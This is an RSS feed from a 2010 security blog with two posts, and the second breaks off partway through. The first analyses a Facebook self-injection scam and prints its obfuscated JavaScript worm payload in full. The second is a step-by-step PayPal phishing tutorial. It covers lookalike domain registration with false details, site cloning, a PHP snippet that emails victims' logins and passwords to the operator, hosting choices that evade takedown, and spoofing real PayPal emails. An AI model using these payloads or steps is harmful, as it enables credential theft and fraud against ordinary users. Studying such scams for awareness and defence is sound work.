<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Infinity-Infinity &#187; Security</title>
	<atom:link href="http://infinity-infinity.com/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://infinity-infinity.com</link>
	<description>A blog and stuff.</description>
	<lastBuildDate>Tue, 01 Jun 2010 21:48:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Facebook Exploit &#8230; Social Engineering &amp; Javascript Injection</title>
		<link>http://infinity-infinity.com/2010/05/facebook-exploit-social-engineering-javascript-injection/</link>
		<comments>http://infinity-infinity.com/2010/05/facebook-exploit-social-engineering-javascript-injection/#comments</comments>
		<pubDate>Sun, 30 May 2010 10:09:53 +0000</pubDate>
		<dc:creator>Brendon</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[Social Engineering]]></category>

		<guid isPermaLink="false">http://infinity-infinity.com/?p=767</guid>
		<description><![CDATA[This morning I got an e-mail &#8230; the typical &#8220;[Person] suggested you like [Something]&#8221; from Facebook. Typically, this kind of stuff is SPAM; but I checked it out anyways. However, when I got to the page, I didn&#8217;t observe just spam; in fact, I observed a cunning exploitation which allows the page to run whatever [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Finfinity-infinity.com%2F2010%2F05%2Ffacebook-exploit-social-engineering-javascript-injection%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Finfinity-infinity.com%2F2010%2F05%2Ffacebook-exploit-social-engineering-javascript-injection%2F" height="61" width="51" /></a></div><p>This morning I got an e-mail &#8230; the typical &#8220;[Person] suggested you like [Something]&#8221; from <a href="http://facebook.com/">Facebook</a>. Typically, this kind of stuff is SPAM; but I checked it out anyways. However, when I got to the page, I didn&#8217;t observe just spam; in fact, I observed a cunning exploitation which allows the page to run whatever Javascript code it wishes. It uses a combination of social engineering to prompt the user to perform actions to get a &#8216;reward&#8217;. In the process, the user inadvertently executes Javascript code in their browser.</p>
<p>Watch <a href="http://www.youtube.com/watch?v=cAWSpl-QCOA">this video</a> I recorded to see it live in action:</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube-nocookie.com/v/cAWSpl-QCOA&#038;hl=en_GB&#038;fs=1&#038;rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/cAWSpl-QCOA&#038;hl=en_GB&#038;fs=1&#038;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object><span id="more-767"></span></p>
<p>In essence, this is how this exploit works:</p>
<ol>
<li>The user wishes to view a video, and so clicks a &#8216;View video&#8217; button</li>
<li>The user is told that to watch the video, they must perform some certain actions:
<ol>
<li>Click CTRL + C to copy some text</li>
<li>Click ALT + D to select the browser&#8217;s address bar.</li>
<li>Click CTRL + V, and then hit Enter.</li>
</ol>
</li>
</ol>
<p>And that&#8217;s it! The worm has been able to do pretty much whatever it wishes with the user&#8217;s Facebook page.</p>
<p>The code copied to the address bar was this:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    a <span style="color: #339933;">=</span> <span style="color: #3366CC;">'app110436432334612_jop'</span><span style="color: #339933;">;</span>
    b <span style="color: #339933;">=</span> <span style="color: #3366CC;">'app110436432334612_jode'</span><span style="color: #339933;">;</span>
    ifc <span style="color: #339933;">=</span> <span style="color: #3366CC;">'app110436432334612_ifc'</span><span style="color: #339933;">;</span>
    ifo <span style="color: #339933;">=</span> <span style="color: #3366CC;">'app110436432334612_ifo'</span><span style="color: #339933;">;</span>
    mw <span style="color: #339933;">=</span> <span style="color: #3366CC;">'app110436432334612_mwrapper'</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>p<span style="color: #339933;">,</span> a<span style="color: #339933;">,</span> c<span style="color: #339933;">,</span> k<span style="color: #339933;">,</span> e<span style="color: #339933;">,</span> r<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        e <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>c<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #009900;">&#40;</span>c <span style="color: #339933;">&lt;</span> a <span style="color: #339933;">?</span> <span style="color: #3366CC;">''</span> <span style="color: #339933;">:</span> e<span style="color: #009900;">&#40;</span>parseInt<span style="color: #009900;">&#40;</span>c <span style="color: #339933;">/</span> a<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>c <span style="color: #339933;">=</span> c <span style="color: #339933;">%</span> a<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #CC0000;">35</span> <span style="color: #339933;">?</span> String.<span style="color: #660066;">fromCharCode</span><span style="color: #009900;">&#40;</span>c <span style="color: #339933;">+</span> <span style="color: #CC0000;">29</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> c.<span style="color: #660066;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">36</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #3366CC;">''</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/^/</span><span style="color: #339933;">,</span> String<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #000066; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span>c<span style="color: #339933;">--</span><span style="color: #009900;">&#41;</span> r<span style="color: #009900;">&#91;</span>e<span style="color: #009900;">&#40;</span>c<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> k<span style="color: #009900;">&#91;</span>c<span style="color: #009900;">&#93;</span> <span style="color: #339933;">||</span> e<span style="color: #009900;">&#40;</span>c<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            k <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span><span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                <span style="color: #000066; font-weight: bold;">return</span> r<span style="color: #009900;">&#91;</span>e<span style="color: #009900;">&#93;</span>
            <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
            e <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #3366CC;">'<span style="color: #000099; font-weight: bold;">\\</span>w+'</span>
            <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
            c <span style="color: #339933;">=</span> <span style="color: #CC0000;">1</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #000066; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span>c<span style="color: #339933;">--</span><span style="color: #009900;">&#41;</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>k<span style="color: #009900;">&#91;</span>c<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> p <span style="color: #339933;">=</span> p.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">new</span> RegExp<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'<span style="color: #000099; font-weight: bold;">\\</span>b'</span> <span style="color: #339933;">+</span> e<span style="color: #009900;">&#40;</span>c<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">'<span style="color: #000099; font-weight: bold;">\\</span>b'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'g'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> k<span style="color: #009900;">&#91;</span>c<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000066; font-weight: bold;">return</span> p
    <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'J e=[&quot;<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>F<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>A&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>A<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>f&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>o<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>q<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>r<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>K<span style="color: #000099; font-weight: bold;">\\</span>A<span style="color: #000099; font-weight: bold;">\\</span>L<span style="color: #000099; font-weight: bold;">\\</span>t&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>w<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>t<span style="color: #000099; font-weight: bold;">\\</span>t<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>k&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>x<span style="color: #000099; font-weight: bold;">\\</span>M<span style="color: #000099; font-weight: bold;">\\</span>N<span style="color: #000099; font-weight: bold;">\\</span>G<span style="color: #000099; font-weight: bold;">\\</span>O&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>y<span style="color: #000099; font-weight: bold;">\\</span>f&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>y<span style="color: #000099; font-weight: bold;">\\</span>o<span style="color: #000099; font-weight: bold;">\\</span>o<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>h&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>H<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>r<span style="color: #000099; font-weight: bold;">\\</span>f&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>G<span style="color: #000099; font-weight: bold;">\\</span>u<span style="color: #000099; font-weight: bold;">\\</span>y<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>q<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>j&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>p<span style="color: #000099; font-weight: bold;">\\</span>x<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>q<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>h&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>p<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>p<span style="color: #000099; font-weight: bold;">\\</span>H&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>q<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>h&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>t<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>z<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>p<span style="color: #000099; font-weight: bold;">\\</span>w<span style="color: #000099; font-weight: bold;">\\</span>q<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>h&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>p<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>v<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>i&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>o<span style="color: #000099; font-weight: bold;">\\</span>r<span style="color: #000099; font-weight: bold;">\\</span>v<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>v<span style="color: #000099; font-weight: bold;">\\</span>P<span style="color: #000099; font-weight: bold;">\\</span>u<span style="color: #000099; font-weight: bold;">\\</span>x<span style="color: #000099; font-weight: bold;">\\</span>r&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>B<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>Q<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>R<span style="color: #000099; font-weight: bold;">\\</span>B<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>u<span style="color: #000099; font-weight: bold;">\\</span>p<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>v<span style="color: #000099; font-weight: bold;">\\</span>o<span style="color: #000099; font-weight: bold;">\\</span>x<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>z<span style="color: #000099; font-weight: bold;">\\</span>w<span style="color: #000099; font-weight: bold;">\\</span>B<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>k<span style="color: #000099; font-weight: bold;">\\</span>n<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>f<span style="color: #000099; font-weight: bold;">\\</span>v<span style="color: #000099; font-weight: bold;">\\</span>t<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>u<span style="color: #000099; font-weight: bold;">\\</span>o<span style="color: #000099; font-weight: bold;">\\</span>S<span style="color: #000099; font-weight: bold;">\\</span>z<span style="color: #000099; font-weight: bold;">\\</span>w<span style="color: #000099; font-weight: bold;">\\</span>z&quot;,&quot;<span style="color: #000099; font-weight: bold;">\\</span>j<span style="color: #000099; font-weight: bold;">\\</span>y<span style="color: #000099; font-weight: bold;">\\</span>F<span style="color: #000099; font-weight: bold;">\\</span>r<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>h<span style="color: #000099; font-weight: bold;">\\</span>T<span style="color: #000099; font-weight: bold;">\\</span>g<span style="color: #000099; font-weight: bold;">\\</span>l<span style="color: #000099; font-weight: bold;">\\</span>i<span style="color: #000099; font-weight: bold;">\\</span>u<span style="color: #000099; font-weight: bold;">\\</span>o&quot;];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);'</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">62</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">69</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'</span>.<span style="color: #660066;">split</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'|'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>I&#8217;m currently trying to work out what exactly this code is doing (without executing it). I will post an update when (and if) I figure it out; feel free to comment if you get there before me. I suspect it is a worm.</p>
]]></content:encoded>
			<wfw:commentRss>http://infinity-infinity.com/2010/05/facebook-exploit-social-engineering-javascript-injection/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>How to Run a Phishing Scam</title>
		<link>http://infinity-infinity.com/2009/10/how-to-run-a-phishing-scam/</link>
		<comments>http://infinity-infinity.com/2009/10/how-to-run-a-phishing-scam/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 17:05:47 +0000</pubDate>
		<dc:creator>Brendon</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[paypal]]></category>
		<category><![CDATA[phishing]]></category>

		<guid isPermaLink="false">http://infinity-infinity.com/?p=439</guid>
		<description><![CDATA[Many people have the idea that phishing scams are complex, and are operated by organised criminals. In fact, they are not that hard to create at all. I could create one, and I could scam people for money. So that&#8217;s what I am going to do.* In this article, I will show you how easy [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F10%2Fhow-to-run-a-phishing-scam%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F10%2Fhow-to-run-a-phishing-scam%2F" height="61" width="51" /></a></div><p>Many people have the idea that <strong>phishing scams</strong> are complex, and are operated by organised criminals. In fact, they are not <em>that</em> hard to create at all. I could create one, and I could scam people for money. So that&#8217;s what I am going to do.* In this article, I will show you how easy it is to create your very own phishing scam set-up. I will deal with the &#8216;technical side&#8217; &#8212; the website and e-mail &#8212; but not with harvesting and sending e-mails, not getting caught, etc.<span id="more-439"></span> </p>
<p><em>* I&#8217;ll stop at the making money part.</em></p>
<div class='toc wptoc'>
<h2>Contents</h2>
<ol class='toc-odd level-1'>
	<li>
		<a href="#Abstract">Abstract</a>
	</li>
	<li>
		<a href="#The_Domain">The Domain</a>
	</li>
	<li>
		<a href="#The_Website">The Website</a>
	</li>
	<li>
		<a href="#The_Web_Host">The Web Host</a>
	</li>
	<li>
		<a href="#The_E-mail">The E-mail</a>
	</li>
	<li>
		<a href="#Attack_Demo">Attack Demo</a>
	</li>
</ol>
</ol>
</ol>
</div>
<div class='wptoc-end'>&nbsp;</div>
<span id="Abstract"><h3>Abstract</h3></span>
<p>The idea is to send an e-mail to people, claiming to be from <strong>PayPal</strong>, with information they need to act on. We will provide a link which the reader will be tricked into visiting, and then steal their details from our website. From there, it is simply a case of logging into their account, stealing more details, and their money.</p>
<p>(I am not discriminating against PayPal here &#8212; most other services on the Internet are susceptible as well).</p>
<span id="The_Domain"><h3>The Domain</h3></span>
<p>Our first goal is to get people onto our website. To do this, we need a genuine-looking domain. A few minutes at <a title="Instant Domain Search" href="instantdomainsearch.com">instantdomainsearch.com</a> will find us one. I registered <a href="http://www.paypal-query.com">paypal-query.com</a>. As a criminal would, I used false details. (As a criminal wouldn&#8217;t, I used my residential Internet connection).</p>
<div id="attachment_470" class="wp-caption aligncenter" style="width: 265px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_false_details1.jpg"><img class="size-medium wp-image-470" title="phishing_false_details" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_false_details1-255x300.jpg" alt="False details" width="255" height="300" /></a><p class="wp-caption-text">False details</p></div>
<div id="attachment_464" class="wp-caption aligncenter" style="width: 278px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_false_details_domain_registration1.jpg"><img class="size-medium wp-image-464" title="phishing_false_details_domain_registration" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_false_details_domain_registration1-268x300.jpg" alt="False details" width="268" height="300" /></a><p class="wp-caption-text">False details</p></div>
<p>You could also use a <a href="http://freedns.afraid.org/">free domain</a>, reducing the risk of everything being traced back to you.</p>
<span id="The_Website"><h3>The Website</h3></span>
<p>Now we have a domain, we just need a website which looks like PayPal. Its intention is to trick people into thinking it is an official PayPal website, and then to unwittingly provide details to us.</p>
<p>Making this site turns out to be pretty easy. You just copy the HTML from the page, and change all references to images and pages to images and pages on your own site.</p>
<div id="attachment_465" class="wp-caption aligncenter" style="width: 244px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_paypal_objects1.jpg"><img class="size-medium wp-image-465" title="phishing_paypal_objects" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_paypal_objects1-234x300.jpg" alt="Copying PayPal images" width="234" height="300" /></a><p class="wp-caption-text">Copying PayPal images</p></div>
<p style="text-align: center;">
<div id="attachment_466" class="wp-caption aligncenter" style="width: 310px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_paypal_links1.jpg"><img class="size-medium wp-image-466" title="phishing_paypal_links" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_paypal_links1-300x57.jpg" alt="Changing PayPal links" width="300" height="57" /></a><p class="wp-caption-text">Changing PayPal links</p></div>
<p>Once that is done, we can insert a little bit of PHP code to capture users&#8217; details and e-mail them to us:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #990000;">mail</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;[my email]&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;PAYPAL PASS&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;login_email&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;login_password&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Location: https://referer.us/www.paypal.com/uk/cgi-bin/webscr?cmd=_security-center&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">exit</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>And that is pretty much it. I also created a .htaccess file to redirect all page requests to the login page. Here is what it looks like &#8212; just like PayPal.com:</p>
<div id="attachment_467" class="wp-caption aligncenter" style="width: 310px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_fake_paypal1.jpg"><img class="size-medium wp-image-467" title="phishing_fake_paypal" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_fake_paypal1-300x206.jpg" alt="The phished PayPal site" width="300" height="206" /></a><p class="wp-caption-text">The phished PayPal site</p></div>
<span id="The_Web_Host"><h3>The Web Host</h3></span>
<p>We need to host our website with somebody who either:</p>
<ol>
<li>does not expect their service to be used with phishing attacks; or</li>
<li>does not care whether their service is used for phishing attacks.</li>
</ol>
<p>Many choose the first option, targeting small, free web-hosts. Reliability is not a concern, and it can be expected that a phishing site is taken down soon after it is hosted. It is therefore a good idea for information to be sent somewhere else. However, it is a better idea to access this information passively: to query a page on the server periodically, than it be actively sent to an address.</p>
<span id="The_E-mail"><h3>The E-mail</h3></span>
<p>The third and most important part of this scam is the e-mail. This is what will prompt the user that they need to take action. One common e-mail is the &#8216;Your account needs to be verified&#8217; one. We can take a real PayPal e-mail, like this one (or one which is more generic):</p>
<div id="attachment_475" class="wp-caption aligncenter" style="width: 310px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing-real-paypal-email.jpg"><img class="size-medium wp-image-475" title="phishing-real-paypal-email" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing-real-paypal-email-300x289.jpg" alt="phishing-real-paypal-email" width="300" height="289" /></a><p class="wp-caption-text">An e-mail from PayPal (real)</p></div>
<p>&#8230;and copy the source:</p>
<div id="attachment_478" class="wp-caption aligncenter" style="width: 310px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing-paypal-email-source.jpg"><img class="size-medium wp-image-478" title="phishing-paypal-email-source" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing-paypal-email-source-300x209.jpg" alt="E-mail source" width="300" height="209" /></a><p class="wp-caption-text">E-mail source</p></div>
<p>We then simply change all references of www.paypal.com to our site, www.paypal-query.com. The e-mail will appear exactly the same as the valid one, but will fool people into clicking through to our site, where we will attempt to capture their login details. This is what our phished e-mail looks like, much like the authentic one:</p>
